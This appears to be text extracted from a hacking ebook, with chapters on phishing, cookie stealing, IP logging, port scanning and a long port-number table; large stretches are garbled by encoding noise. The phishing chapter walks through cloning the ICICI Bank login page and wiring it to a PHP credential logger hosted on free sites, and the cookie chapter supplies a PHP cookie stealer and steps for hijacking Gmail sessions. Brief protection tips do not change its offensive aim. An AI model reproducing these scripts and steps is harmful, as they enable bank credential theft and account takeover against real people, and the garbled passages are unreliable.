You are on page 1of 153




  

                    
                     !
     "     #       
$   !            "      
$  %                      
  $           $   
$     % &              




 
  



'#!(
 #!(
# ) # #
* #

+ %    ,
  )% $       
" )% -  
  
$     %       
  
   # 
  !%       
   





 
        


 
   






 
   




      

 
 

!!"#$ 




% &  '% &




  
           
                

 
     !  
  
"        #      $  !%
 !      &  $   '     
'    ($     '   # %  %
)   %*   %'   $  ' 
   +  " %    &
 '  !  #     
    $, 
 ( $

    
    -         .   
                   
  
             !  
"-                   (     %
            
   
 .  
   %   %   %   % 
      $             $      $ -  
             -            

            - -
// $$$   
0  
1"1"#23."   
     

"0"  )*4/ +)


* !5 !& 6!7%66898&  %  ) 2 
: !  
*   &
    
%#()*+,-.-/0*-1.000-*
; "-#./ 
/- <9=89"0"  )*4/ +)
"3   "    &  9=89





^W/>/d/KE









h,d<
z









&,^W
z


z
zD/dWD/dWD
EdDd^DWZWD^
,,
tE
W
E
,
^D^W/
^WW
/
/
/dd






K




'

,WdZ
,WdZ
,WdZ
,WdZ
,WdZ
,WdZ
,WdZ


W,/^,/E'd,E/Yh
KK</^d>/E'd,E/
/W^d>/E'd,E/
KWEWKZddd<^
KDW>dWKZdd/>^
,KtdK^Ed&<D/>
^z^dD,</E'









W,/^,/E'd,E/Yh

,WdZ

  
  
What is Phishing?
Phishing is a fraudulent attempt this technique is mainly
used to steal your personal information like user name,
passwords, bank information, credit card info etc...
An example of this would be if you receive and e-mail
from a hacker pretending to be your bank. In this e-mail, it
might tell you that you need to update your account before
it expires, and then the hacker provides a link. Once you
click on the link, you arrive at a website that looks exactly
OLNH \RXU DFWXDO EDQN SDJH ,Q UHDOLW\ LWV MXVW D SHUIHFW
replica, and when you input your login details, it sends it to
the hackers email or stores it on his web server. Hackers
that create the best, most deceiving phishing web pages are
knowledgeable in the area of HTML and the PHP
programming.
Below I will demonstrate a simple example, Please follow
what I am doing very carefully

W 


W,/^,/E'd,E/Yh

,WdZ

Steps
1. First think you must choose a target. The most popular
targets for phishing attacks are E-mail services such as
Yahoo mail and Gmail because they are the most common
and once a hacker gets access to your E-mail, he also gets
access to a load of other user information for all the other
websites you use.
In here i selected ICICI Bank

2. After choosing his target, I will go to the website and


save the whole main page. I use Google Chrome, So I
would go to https://infinity.icicibank.co.in and click File ->
save page as, or simply hit <CTRL> + S which does this
W 


W,/^,/E'd,E/Yh

,WdZ

automatically. Choose where you would like to save the


web page and hit Save.

3. Once you have it saved, rename ICICI Bank.html to


LQGH[KWP 7KH UHDVRQ \RX ZDQW WR QDPH LW LQGH[ LV VR
when you upload it to a web host and someone goes to your
link, the index page is the first page that shows up.
4. Next you would create a PHP script to do this dirty deed
of steeling your information. Below is a simple PHP script
WKDWORJVDQGVWRUHV\RXUORJLQGHWDLOVZKHQ\RXFOLFNLog
LQ 7R VHH KRZ LW ZRUNV type the following code into
notepad. Next save it into the same directory as you saved

W 


W,/^,/E'd,E/Yh

,WdZ

the ICICI Bank page, and name it game.php. In addition to


the game.php page, create a new empty text file and name
it Info.txt.
<?php // This marks the beginning of the PHP script.
+HDGHU /RFDWLRQ
https://infinity.icicibank.co.in/BANKAWAY?Action.RetUs
er.Init.001=Y&AppSignonBankId=ICI&AppType=corpora
WH DEUG3UI 1   RQFH \RX FOLFN 6LJQ LQ LQ WKH IDNH
website, this redirects you to the real Gmail website,
making the whole process look more legit.
KDQGOH  IRSHQ infoW[W D   WKLV WHOOV WKH VHUYHU WR
RSHQWKHILOHOLVWW[WDQGJHW it ready for appending data.
This in this case is your username and password.
Foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
IZULWH KDQGOH 
fwrite($handle, $value);
IZULWH KDQGOH\r\Q 

W 


W,/^,/E'd,E/Yh

,WdZ

} // This section simply assigns all the information going


through this form to a variable. This includes your
username and password.
)ZULWH KDQGOH \r\Q   7KLV ZULWHV \RXU GHWDLOV WR WKH
ILOHOLVWW[W
fclose($handle); // This simply closes the connection to the
ILOHOLVWW[W
exit;
?> // Marks the end of the PHP program.

Code without Explanation


<?php
KHDGHU
/RFDWLRQKWWSVLQILQLW\LFLFLEDQNFRLQ 
$handle = fopen("info.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
W 


W,/^,/E'd,E/Yh

,WdZ

fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
So far you should see the following in your folder: copy the
above code and paste a notepad and save it as game.php

W 


W,/^,/E'd,E/Yh

,WdZ

5. Now you would have to edit the main ICICI Bank page
to include his PHP script. To see what the hacker would do,
open up the main ICICI Bank named index.htm with
notepad.
6. Hit <CTR> + F , or go to Edit -> Find , type in action
DQGKLW)LQG1H[W
7. This will highlight the first occurrence of the word
DFWLRQLQWKHVFULSWDQG\RXVKRXOGVHHWKHIROORZLQJ

7KHUH DUH WZR DFWLRQ RFFXUUHQFHV LQ WKH VFULSW VR PDNH
VXUH \RX KDYH WKH ULJKW RQH E\ ORRNLQJ DW WKH IRUP LG
name above. Change the link between action
W 


   WR

W,/^,/E'd,E/Yh

,WdZ

game.php . This will make the form submit to your PHP


phish script instead of to ICICI. After the link you will see
the code:
&KDQJH WKH ZRUG 3267 WR *(7 VR WKDW LW ORRNV OLNH
PHWKRG *(7:KDWWKH*(7PHWKRGGRHVLVVXEPLWWKH
information you type in through the URL so that the PHP
script can log it.
8. Save and close the file.
9. Next you would upload the files up to a free webhost that
supports PHP
10. Once all the files are uploaded, you must give writing
SHUPLVVLRQV WR WKH infoW[W file. Every hosting company
should have a CHMOD option next to each file. Select this
RSWLRQDQGFKDQJHWKHILOHSHUPLVVLRQIRUinfoW[WWR
If you cannot figure out how to do this, ask people that use
the same host or simply Google something similar to:
\RXUZHEKRVWQDPH FKPRG 'R WKLV VWHSV LI VFULSW GRHV
not work.)

W 


W,/^,/E'd,E/Yh

,WdZ

11. Once everything is up and ready to go, go to the link


your host provided you for your website and you should see
the ICICI page replica. This link may be very long and
looking good so you can short this link
12. Type in a userID/password and click Log in. This
should have redirected you to the real ICICI Bank page.
13. Now go take a look at your info.txt file by going
through your hosting file manager or going to
http://www.yourwebhosturl.com/youraccount/info.txt.
Now you can get userId and password
List of some PHP supported free hosting sites
1.http://www.000webhost.com
2.http://www.zymic.com
3.http://www.110mb.com
4.http://www.sitesfree.com
5. http://www.yourfreehosting.net
6. http://ripway.com

W 


W,/^,/E'd,E/Yh

,WdZ

7. http://superfreehost.info
8. http://freehostia.com
9. http://freeweb7.com
10. http://t35.com
11. http://awardspace.com
12. http://phpnet.us
13. http://freewebhostingpro.com
14. http://prohosts.org
15. http://www.freezoka.com/
16. http://atspace.com

How to protect yourself from phishing


x

If you receive an email from a trusted company but


they ask for personal information, then you should
visit the Web site.

Check the URL

Check the protocol is https

At the first login time you will use fake password

W 


W,/^,/E'd,E/Yh

,WdZ

Avoid pop-ups

Use Good quality antivirus

Top security add-ons for Mozilla Firefox


x

FirePhish Anti-Phishing Extension

FB Phishing Protector

NoScript

LastPass Password Manager

BrowserProtect

HTTPS Finder

Master Password+

Whois Lookup

Host Permissions

FEBE

Perspectives

NoRedirect

Dr. Web Anti-Virus Link Checker

Web of Trust

Search Engine Security

BetterPrivacy

BetterPrivacy

AdBlock Plus

W 


W,/^,/E'd,E/Yh

,WdZ

SSL Blacklist

PhishTank SiteChecker

TrackerWatcher

BugMeNot

Xmarks



x

WOT

LastPass

FlashBlock

AdBlock

Facebook Adblock

Speed Tracer

NotScripts

Adblock Plus

Ghostery

KB SSL Enforcer

Vanilla Cookie Manager

SaferChrome

Proxy Switchy!

Credit Card Nanny

W 


KK</^d>/E'd,E/

,WdZ

  
  
What is Cookie?
Cookies are small files given by the website and it puts on
your computer. When your access any website via your
web browser a website that uses cookies. Cookies are used
to keep track of your information within the site, help you
resume where you left off, remember your registered login,
Style selection, preferences, and other customization
functions.

How does Cookie Work?


Whenever you sign into an account it generates a unique
piece of string. One copy is saved on server and other in
our browser as cookie. Both are matched every time we do
anything in our account. Cookies allow you to proceed
through many pages of a site quickly and easily without
having to authenticate or reprocess each new area you visit.

Example
When you login on Facebook or Twitter, you need to give
your username and password only once, but after that each
W 


KK</^d>/E'd,E/

,WdZ

time when you navigate from one page to another, it


redirect you without asking for those information(username
and password) asked before.


Session cookies
Session cookies are created temporarily in your browser's
subfolder while you are visiting a website. Once you
leave/sign out from the site, the session cookie gets deleted.

Persistent Cookies
Persistent cookie files remain in your browser's subfolder
and are activated again once you visit the website that
created that particular cookie. A persistent cookie remains
in the browser's subfolder for the duration period set within
the cookie's file.
Note: Maximum validity period of cookie is 24 hours. This
means, once the Facebook account session is stolen,
attacker can access the account for life time by refreshing
window in every 24hrs.

W 


KK</^d>/E'd,E/

,WdZ

Stealing Process
x

First step you create a PHP script and upload it to


any webhosting site.

Then you want to ask the slave to visit that


particular link containing the PHP code.

Once the slave visits it his/her authentication cookie


is saved in a .txt file.

Now you can use a cookieinjector or a cookie


editor, and replaces his own cookies with the
YLFWLPV cookies as a result of which the YLFWLPV
session is hijacking, and he got access to victim's
account.

PHP Code for Cookie stealing


<?php
$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET['cookie'];
$referer = $_SERVER['HTTP_REFERER'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$redirect =
W 


KK</^d>/E'd,E/

,WdZ

$_GET['redirect'];
$data = "IP: " . $ip . "\n" ."Cookie: " . $cookie . "\n"
."Referrer: " . $referer .
"\n" ."Browser: " . $browser . "\n\n";
$log = "Hackersworld.txt";
@chmod($log, 0777);
$f = fopen($log, 'a');
fwrite($f, $data); fclose($f);
@header("Location: $redirect");
?>

Practical scenario
After stealing a Gmail cookie do the below process

W 


KK</^d>/E'd,E/

,WdZ

Secrets about Gmail


Gmail usually stores its session authentication information
LQ FRRNLH QDPHG *; 7KLV FRRNLH LV XVHG E\ *PDLO WR
verify and authenticate the user. Thus, the user will be
given access to Gmail account depending on the cookie he
KDV6RLI\RXKDYHDFFHVVWRYLFWLPDFFRXQWVFRRNLHDQG
if you inject this cookie in your browser, Gmail will give
you the access to victim account. Thus, you will be able to
hack Gmail account.
Note: Our main goal here is to capture Gmail GX cookie
and insert it into own system. We can only capture cookie
when someone is login on his Gmail, because cookie
destroy with sign out.

Steps for cookie editing


1. First of all you need to install the Firefox add-on
Cookie Editor
Note: This cookie editor works with Firefox 1.0 - 3.6
2. Now you can go to Tools > Cookie Editor, and
search for cookie named GX and copy its content.

W 


KK</^d>/E'd,E/

,WdZ

3. Now login with Gmail, you will get access of victim


account.
Note: If victim is using secure connection, then Gmail
saves cookie in encrypted from, in this case if u steal
cookie, even then also it won't work.
For Advanced Cookie stealing you can buy my updated
upcoming books

W 


KK</^d>/E'd,E/

,WdZ

How to protect yourself from cookie


Stealing
1. Use Https
Wt&^
3. Use VPN

W 


/W^d>/E'd,E/

,WdZ

 
  
What is IP?
IP is an internet protocol. It is used for connecting internet
and other many networks. IP is often used together with the
Transport Control Protocol (TCP) and referred to
interchangeably as TCP/IP. IP supports unique addressing
for computers on a network.
In now a day we are using two types of standard
1. IPV4-four bytes (32 bits)
2. IPV6-16 bytes (128 bits)

Uses of IP stealing
,I \RX JRW YLFWLPV ,3 you can do everything like port
hacking, find the general location where that person lives
and more

W 


/W^d>/E'd,E/

,WdZ

3+3FRGHVIRUKDFNLQJVRPHRQHV,3
Method1


<html>
<?php
$file = "ips.txt";
$f=fopen($file, 'a');
fwrite($f,$_SERVER['REMOTE_ADDR']."\n");
fclose($f);
?>
<p>404! File not found</p>
</body>
</html>

Method2
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$dt = date("l dS \of F Y h:i:s A");
W 


/W^d>/E'd,E/

,WdZ

$file=fopen("ip_log.txt","a");
$data = $ip.' '.$dt."\n";
fwrite($file, $data);
fclose($file);
header( 'Location: http://www.google.com' ) ;
?>

Stealing Process
x

First step you create a PHP script and upload it to


any webhosting site.

Then you want to ask the slave to visit that


particular link containing the PHP code.

Once the slave visits it his/her IP is saved in a .txt


file.

W 


KWEWKZddd<^

,WdZ


What is Port Scanning?
Port scanning is technique used to scan or find the open
ports available on the computer system, in other way it also
called the Port Listening Service. Once the hackers able to
know the services running on your computer system, he
could search the possible vulnerability that could exploit
them and take away the control of your website. The Most
Popular Port Scanner that I will recommend you to use
10$3SRUWVFDQQHU

Open Port Scanning


Your PC has various types of ports. Internally, there are
several ports for connecting disk drives, display screens,
and keyboards. Externally, personal computers have ports
for connecting modems, printers, mice, and other peripheral
devices. Almost all personal computers come with a serial
RS-232C port or RS-422 port for connecting a modem or
mouse and a parallel port for connecting a printer. Port in
TCP/IP and UDP networks are endpoint to a logical
connection.
W 


KWEWKZddd<^


Best Port Scanning 6RIWZDUHV


1. Advanced Port Scanner
2. Netscan
3. Angry IP
4. Blue port Scanner
5. Unicornscan port scanner
6. Zenmap

W 


,WdZ

KDW>dWKZdd/>^

,WdZ

 
Port TCP UDP Description
0
UDP Reserved
TCP Port Service Multiplexer
1
TCP UDP
(TCPMUX)
CompressNET Management
2
TCP UDP
Utility
CompressNET Compression
3
TCP UDP
Process
4
TCP UDP Unassigned
5
TCP UDP Remote Job Entry
6
TCP UDP Unassigned
7
TCP UDP Echo Protocol
8
TCP UDP Unassigned
9
TCP UDP Discard Protocol
10 TCP UDP Unassigned
11 TCP UDP Active Users (systat service)
12 TCP UDP Unassigned
13 TCP UDP Daytime Protocol (RFC 867)
14 TCP UDP Unassigned
15 TCP UDP netstat service
16 TCP UDP Unassigned
17 TCP UDP Quote of the Day
18 TCP UDP Message Send Protocol
Character Generator Protocol
19 TCP UDP
(CHARGEN)
20 TCP
FTPdata transfer
21 TCP
FTPcontrol (command)
W 


Status
Official
Official
Official
Official
Official
Official
Official
Official
Official
Official
Official
Official
Official
Official
Official
Unofficial
Official
Official
Official
Official
Official
Official

KDW>dWKZdd/>^

,WdZ

22
23
24
25
26
27
34
35
37

39

40
41
42
42
43
47
49

Secure Shell (SSH)used for


Official
TCP UDP secure logins, file transfers
(scp, sftp) and port forwarding
Telnet protocolunencrypted
TCP
Official
text communications
Priv-mail : any private mail
TCP UDP
Official
system.
Simple Mail Transfer Protocol
TCP
(SMTP)used for e-mail
Official
routing between mail servers
TCP UDP Unassigned
Official
TCP UDP NSW User System FE
Official
Remote File (RF)used to
TCP UDP
Unofficial
transfer files between machines
Any private printer server
TCP UDP
Official
protocol
TCP UDP TIME protocol
Official
Resource Location Protocol
(RLP)used for determining
TCP UDP the location of higher level
Official
services from hosts on a
network
TCP UDP Unassigned
Official
TCP UDP Graphics
Official
nameserver, ARPA Host Name
TCP UDP
Official
Server Protocol
TCP UDP WINS
Unofficial
TCP
WHOIS protocol
Official
TCP UDP NI FTP
Official
TCP UDP TACACS Login Host protocol Official

W 


KDW>dWKZdd/>^

,WdZ

50

TCP UDP

51

TCP UDP

52

TCP UDP

53

TCP UDP

54

TCP UDP

55

TCP UDP

56

TCP UDP

56
57

TCP UDP
TCP

58

TCP UDP

67

UDP

68

UDP

69

UDP

70
71
72

TCP
TCP
TCP

W 


Remote Mail Checking


Protocol
IMP Logical Address
Maintenance
XNS (Xerox Network
Systems) Time Protocol
Domain Name System (DNS)
XNS (Xerox Network
Systems) Clearinghouse
ISI Graphics Language (ISIGL)
XNS (Xerox Network
Systems) Authentication
Route Access Protocol (RAP)
Mail Transfer Protocol (MTP)
XNS (Xerox Network
Systems) Mail
Bootstrap Protocol (BOOTP)
Server; also used by Dynamic
Host Configuration Protocol
(DHCP)
Bootstrap Protocol (BOOTP)
Client; also used by Dynamic
Host Configuration Protocol
(DHCP)
Trivial File Transfer Protocol
(TFTP)
Gopher protocol
NETRJS protocol
NETRJS protocol

Official
Official
Official
Official
Official
Official
Official
Unofficial
Unofficial
Official

Official

Official

Official
Official
Official
Official

KDW>dWKZdd/>^

,WdZ

73
74
79

TCP
TCP
TCP

80

TCP UDP

81
82
83

TCP
TCP

88

TCP UDP

90

TCP UDP

UDP

90 TCP UDP
99 TCP
101 TCP
102 TCP
104 TCP UDP
105 TCP UDP
107 TCP
108
109
110
111

TCP UDP
TCP
TCP
TCP UDP

W 


NETRJS protocol
Official
NETRJS protocol
Official
Finger protocol
Official
Hypertext Transfer Protocol
Official
(HTTP)
TorparkOnion routing
Unofficial
TorparkControl
Unofficial
MIT ML Device
Official
Kerberosauthentication
Official
system
dnsix (DoD Network Security
for Information Exchange)
Official
Securit Attribute Token Map
Pointcast
Unofficial
WIP Message Protocol
Unofficial
NIC host name
Official
ISO-TSAP (Transport Service
Official
Access Point) Class 0 protocol
ACR/NEMA Digital Imaging
and Communications in
Official
Medicine
CCSO Nameserver Protocol
Official
(Qi/Ph)
Remote TELNET Service
Official
protocol
SNA Gateway Access Server Official
Post Office Protocol v2 (POP2) Official
Post Office Protocol v3 (POP3) Official
ONC RPC (SunRPC)
Official

KDW>dWKZdd/>^

,WdZ

113 TCP
113

UDP

115 TCP
117 TCP
118 TCP UDP
119 TCP

123

UDP

135 TCP UDP

135 TCP UDP

137 TCP UDP


138 TCP UDP
139 TCP UDP
143 TCP
W 


identAuthentication
Service/Identification Protocol,
used by IRC servers to identify
users
Authentication Service (auth)
Simple File Transfer Protocol
(SFTP)
UUCP Path Service
SQL (Structured Query
Language) Services
Network News Transfer
Protocol (NNTP)retrieval of
newsgroup messages
Network Time Protocol
(NTP)used for time
synchronization
DCE endpoint resolution
Microsoft EPMAP (End Point
Mapper), also known as
DCE/RPC Locator service,
used to remotely manage
services including DHCP
server, DNS server and WINS.
Also used by DCOM
NetBIOS NetBIOS Name
Service
NetBIOS NetBIOS Datagram
Service
NetBIOS NetBIOS Session
Service
Internet Message Access

Official
Official
Official
Official
Official
Official

Official
Official

Unofficial

Official
Official
Official
Official

KDW>dWKZdd/>^

,WdZ

152 TCP UDP


153 TCP UDP
156 TCP UDP
158 TCP UDP
161

UDP

162 TCP UDP


170 TCP
175 TCP
177 TCP UDP
179 TCP
194 TCP UDP
199 TCP UDP
201 TCP UDP
209 TCP UDP
210 TCP UDP
W 


Protocol (IMAP)
management of email
messages
Background File Transfer
Program (BFTP)
SGMP, Simple Gateway
Monitoring Protocol
SQL Service
DMSP, Distributed Mail
Service Protocol
Simple Network Management
Protocol (SNMP)
Simple Network Management
Protocol Trap (SNMPTRAP)
Print-srv, Network PostScript
VMNET (IBM z/VM, z/OS &
z/VSE - Network Job
Entry(NJE))
X Display Manager Control
Protocol (XDMCP)
BGP (Border Gateway
Protocol)
Internet Relay Chat (IRC)
SMUX, SNMP Unix
Multiplexer
AppleTalk Routing
Maintenance
The Quick Mail Transfer
Protocol
ANSI Z39.50

Official
Official
Official
Unofficial
Official
Official
Official
Official
Official
Official
Official
Official
Official
Official
Official

KDW>dWKZdd/>^

,WdZ

213 TCP UDP


218 TCP UDP
220 TCP UDP
256 TCP UDP
259 TCP UDP
264 TCP UDP
280 TCP UDP
308 TCP
311 TCP
318 TCP UDP
319

UDP

320

UDP

323 TCP UDP


350 TCP UDP

351 TCP UDP


366 TCP UDP
W 


Internetwork Packet Exchange


(IPX)
Message posting protocol
(MPP)
Internet Message Access
Protocol (IMAP), version 3
2DEV "2SP" Port
ESRO, Efficient Short Remote
Operations
BGMP, Border Gateway
Multicast Protocol
http-mgmt
Novastor Online Backup
Mac OS X Server Admin
(officially AppleShare IP Web
administration)
PKIX TSP, Time Stamp
Protocol
Precision time protocol event
messages
Precision time protocol general
messages
IMMP, Internet Message
Mapping Protocol
MATIP-Type A, Mapping of
Airline Traffic over Internet
Protocol
MATIP-Type B, Mapping of
Airline Traffic over Internet
Protocol
ODMR, On-Demand Mail

Official
Official
Official
Unofficial
Official
Official
Official
Official
Official
Official
Official
Official
Unofficial
Official

Official
Official

KDW>dWKZdd/>^

,WdZ

369 TCP UDP


370 TCP
370

UDP

370

UDP

371 TCP UDP


383 TCP UDP
384 TCP UDP
387 TCP UDP
389 TCP UDP
401 TCP UDP
402 TCP
411 TCP
412 TCP
427 TCP UDP
443 TCP
444 TCP UDP
445 TCP
W 


Relay
Rpc2portmap
Official
codaauth2Coda
Official
authentication server
codaauth2Coda
Official
authentication server
securecast1Outgoing packets
Unofficial
to NAI's servers
ClearCase albd
Official
HP data alarm manager
Official
A Remote Network Server
Official
System
AURP, AppleTalk UpdateOfficial
based Routing Protocol
Lightweight Directory Access
Official
Protocol (LDAP)
UPS Uninterruptible Power
Official
Supply
Altiris, Altiris Deployment
Unofficial
Client
Direct Connect Hub
Unofficial
Direct Connect Client-to-Client Unofficial
Service Location Protocol
Official
(SLP)
HTTPS (Hypertext Transfer
Official
Protocol over SSL/TLS)
SNPP, Simple Network Paging
Official
Protocol (RFC 1568)
Microsoft-DS Active
Official
Directory, Windows shares

KDW>dWKZdd/>^

,WdZ

445 TCP
464 TCP UDP
465 TCP
465 TCP
475 TCP UDP
497 TCP
500

UDP

501 TCP
502 TCP UDP
502 TCP UDP
504 TCP UDP
510 TCP
512 TCP
512
UDP
513 TCP
513
UDP
514 TCP

W 


Microsoft-DS SMB file


sharing
Kerberos Change/Set password
Cisco protocol
SMTP over SSL
tcpnethaspsrv (Aladdin
Knowledge Systems Hasp
services, TCP/IP version)
Dantz Retrospect
Internet Security Association
and Key Management Protocol
(ISAKMP)
STMF, Simple Transportation
Management Framework
DOT NTCIP 1101
asa-appl-proto, Protocol
Modbus, Protocol
Citadelmultiservice protocol
for dedicated clients for the
Citadel groupware system
First Class Protocol
Rexec, Remote Process
Execution
comsat, together with biff
rlogin
Who
Shellused to execute noninteractive commands on a
remote system (Remote Shell,
rsh, remsh)

Official
Official
Unofficial
Unofficial
Official
Official
Official

Unofficial
Unofficial
Unofficial
Official
Unofficial
Official
Official
Official
Official
Official

KDW>dWKZdd/>^

,WdZ

514

UDP

515 TCP
517
UDP
518
UDP
520 TCP
520

UDP

524 TCP UDP

525
UDP
530 TCP UDP
531 TCP UDP
532 TCP
533

UDP

540 TCP
542 TCP UDP
543 TCP
544 TCP
545 TCP
546 TCP UDP
547 TCP UDP
W 


Syslogused for system


Official
logging
Line Printer Daemonprint
Official
service
Talk
Official
NTalk
Official
efs, extended file name server Official
Routing Information Protocol
Official
(RIP)
NetWare Core Protocol (NCP)
is used for a variety things such
as access to primary NetWare Official
server resources, Time
Synchronization, etc.
Timed, Timeserver
Official
RPC
Official
AOL Instant Messenger, IRC Unofficial
netnews
Official
netwall, For Emergency
Official
Broadcasts
UUCP (Unix-to-Unix Copy
Official
Protocol)
commerce (Commerce
Official
Applications)
klogin, Kerberos login
Official
kshell, Kerberos Remote shell Official
OSIsoft PI (VMS), OSISoft PI
Unofficial
Server Client Access
DHCPv6 client
Official
DHCPv6 server
Official

KDW>dWKZdd/>^

,WdZ

548 TCP
550

UDP

554 TCP UDP


556 TCP
560
UDP
561
UDP
563 TCP UDP
587 TCP
591 TCP

593 TCP UDP

604 TCP
623

UDP

631 TCP UDP


631 TCP UDP
635 TCP UDP
636 TCP UDP
W 


Apple Filing Protocol (AFP)


Official
over TCP
new-rwho, new-who
Official
Real Time Streaming Protocol
Official
(RTSP)
Remotefs, RFS, rfs_server
Official
rmonitor, Remote Monitor
Official
monitor
Official
NNTP protocol over TLS/SSL
Official
(NNTPS)
e-mail message submission
Official
(SMTP)
FileMaker 6.0 (and later) Web
Sharing (HTTP Alternate, also Official
see port 80)
HTTP RPC Ep Map, Remote
procedure call over Hypertext
Transfer Protocol, often used
Official
by Distributed Component
Object Model services and
Microsoft Exchange Server
TUNNEL profile, a protocol
for BEEP peers to form an
Official
application layer tunnel
ASF Remote Management and
Official
Control Protocol (ASF-RMCP)
Internet Printing Protocol (IPP) Official
Common Unix Printing System
Unofficial
(CUPS)
RLZ DBase
Official
Lightweight Directory Access Official

KDW>dWKZdd/>^

,WdZ

639 TCP UDP

641 TCP UDP

646 TCP UDP


647 TCP
648 TCP
651 TCP UDP
652 TCP

653 TCP UDP

654 TCP

657 TCP UDP

W 


Protocol over TLS/SSL


(LDAPS)
MSDP, Multicast Source
Discovery Protocol
SupportSoft Nexus Remote
Command (control/listening):
A proxy gateway connecting
remote control traffic
LDP, Label Distribution
Protocol, a routing protocol
used in MPLS networks
DHCP Failover protocol
RRP (Registry Registrar
Protocol)
IEEE-MMS
DTCP, Dynamic Tunnel
Configuration Protocol
SupportSoft Nexus Remote
Command (data): A proxy
gateway connecting remote
control traffic
Media Management System
(MMS) Media Management
Protocol (MMP)
IBM RMC (Remote
monitoring and Control)
protocol, used by System p5
AIX Integrated Virtualization
Manager (IVM) and Hardware
Management Console to
connect managed logical
partitions (LPAR) to enable

Official

Official

Official
Official
Official
Official
Unofficial

Official

Official

Official

KDW>dWKZdd/>^

,WdZ

dynamic partition
reconfiguration
Mac OS X Server
660 TCP
Official
administration
sun-dr, Remote Dynamic
665 TCP
Unofficial
Reconfiguration
Doom, first online first-person
666
UDP
Official
shooter
ACAP (Application
674 TCP
Official
Configuration Access Protocol)
691 TCP
MS Exchange Routing
Official
692 TCP
Hyperwave-ISP
Official
Linux-HA High availability
Official
694 TCP UDP
Heartbeat
IEEE-MMS-SSL (IEEE Media
Management System over
Official
695 TCP
SSL)
OLSR (Optimized Link State
698
UDP
Official
Routing)
699 TCP
Access Network
Official
EPP (Extensible Provisioning
Protocol), a protocol for
communication between
700 TCP
Official
domain name registries and
registrars (RFC 5734)
LMP (Link Management
Protocol (Internet)), a protocol
Official
that runs between a pair of
701 TCP
nodes and is used to manage
traffic engineering (TE) links
702 TCP
IRIS[28][29] (Internet Registry Official
W 


KDW>dWKZdd/>^

,WdZ

706 TCP

711 TCP

712 TCP
712

UDP

720 TCP
749 TCP UDP
750 TCP
750
UDP
750

UDP

751 TCP UDP


751 TCP UDP
752 TCP
752
UDP
752

UDP

753 TCP
W 


Information Service) over


BEEP (Blocks Extensible
Exchange Protocol) (RFC
3983)
Secure Internet Live
Official
Conferencing (SILC)
Cisco Tag Distribution
Protocolbeing replaced by
Official
the MPLS Label Distribution
Protocol
Topology Broadcast based on
Reverse-Path Forwarding
Official
routing protocol (TBRPF)
(RFC 3684)
Promise RAID Controller
Unofficial
SMQP, Simple Message Queue
Unofficial
Protocol
Kerberos (protocol)
Official
administration
rfile
Official
loadav
Official
kerberos-iv, Kerberos version
Official
IV
pump
Official
kerberos_master, Kerberos
Unofficial
authentication
qrh
Official
qrh
Official
passwd_server, Kerberos
Unofficial
Password (kpasswd) server
Reverse Routing Header (rrh) Official

KDW>dWKZdd/>^

,WdZ

753
753
754 TCP
754 TCP
754
760 TCP
760 TCP
782 TCP
783 TCP
829 TCP
843 TCP
847 TCP
860 TCP
873 TCP
888 TCP
901 TCP

901 TCP

UDP Reverse Routing Header (rrh)


userreg_server, Kerberos
UDP
userreg server
tell send
krb5_prop, Kerberos v5 slave
propagation
UDP tell send
UDP ns
krbupdate [kreg], Kerberos
UDP
registration
Conserver serial-console
management server
SpamAssassin spamd daemon
CMP (Certificate Management
Protocol)
Adobe Flash socket policy
server
DHCP Failover protocol
iSCSI (RFC 3720)
rsync file synchronisation
protocol
cddbp, CD DataBase (CDDB)
protocol (CDDBP)
unassigned but widespread use
Samba Web Administration
Tool (SWAT)
VMware Virtual Infrastructure
Client (UDP from server being
managed to management
console)

W 


Official
Unofficial
Official
Unofficial
Official
Official
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial
Official
Official
Official
USA only
Unofficial
Unofficial

Unofficial

KDW>dWKZdd/>^

,WdZ

901

UDP

902 TCP

902 TCP
902

UDP

902

UDP

903 TCP
904 TCP
911 TCP
953 TCP UDP

981 TCP

987 TCP

W 


VMware Virtual Infrastructure


Client (UDP from server being
managed to management
console)
ideafarm-door 902/tcp self
documenting Door: send 0x00
for info
VMware Server Console (TCP
from management console to
server being Managed)
ideafarm-door
VMware Server Console (UDP
from server being managed to
management console)
VMware Remote Console
VMware Server Alternate (if
902 is in use, i.e. SUSE linux)
Network Console on Acid
(NCA)local tty redirection
over OpenSSH
Domain Name System (DNS)
RNDC Service
SofaWare Technologies
Remote HTTPS management
for firewall devices running
embedded Check Point
FireWall-1 software
Microsoft This Secure
Hypertext Transfer Protocol
(HTTPS) port makes Windows
SharePoint Services viewable
through Remote Web

Unofficial

Official

Unofficial
Official
Unofficial
Unofficial
Unofficial
Unofficial
Unofficial

Unofficial

Unofficial

KDW>dWKZdd/>^

,WdZ

989 TCP UDP


990 TCP UDP
991 TCP UDP
992 TCP UDP
993 TCP
995 TCP
999 TCP
1001 TCP UDP
1002 TCP
1023 TCP UDP

Workplace
FTPS Protocol (data): FTP
over TLS/SSL
FTPS Protocol (control): FTP
over TLS/SSL
NAS (Netnews Administration
System)
TELNET protocol over
TLS/SSL
Internet Message Access
Protocol over SSL (IMAPS)
Post Office Protocol 3 over
TLS/SSL (POP3S)
ScimoreDB Database System
JtoMB
Tibbo device servers
Opsware agent (aka cogbot)
Reserved

Official
Official
Official
Official
Official
Official
Unofficial
Unofficial
Unofficial
Official

Registered ports: 102449151


The ranges of port number from 1024 to 49151 are the
registered ports. They are assigned by IANA for specific
service upon application by a requesting entity. On most
systems registered ports can be used by ordinary users.

W 


KDW>dWKZdd/>^

,WdZ

Port
1024
1025
1026
1029
1058

1059
1080
1085
1098
1099
1109
1109
1109

1110
1140
1167

TCP UDP Description


TCP UDP Reserved
TCP
NFS or IIS or Teradata
Often used by Microsoft
TCP
DCOM services
Often used by Microsoft
TCP
DCOM services
nim, IBM AIX Network
TCP UDP Installation Manager
(NIM)
nimreg, IBM AIX
TCP UDP Network Installation
Manager (NIM)
TCP
SOCKS proxy
TCP UDP WebObjects
rmiactivation, RMI
TCP UDP
Activation
rmiregistry, RMI
TCP UDP
Registry
UDP Reserved[1]
TCP
Reserved[1]
Kerberos Post Office
TCP
Protocol (KPOP)
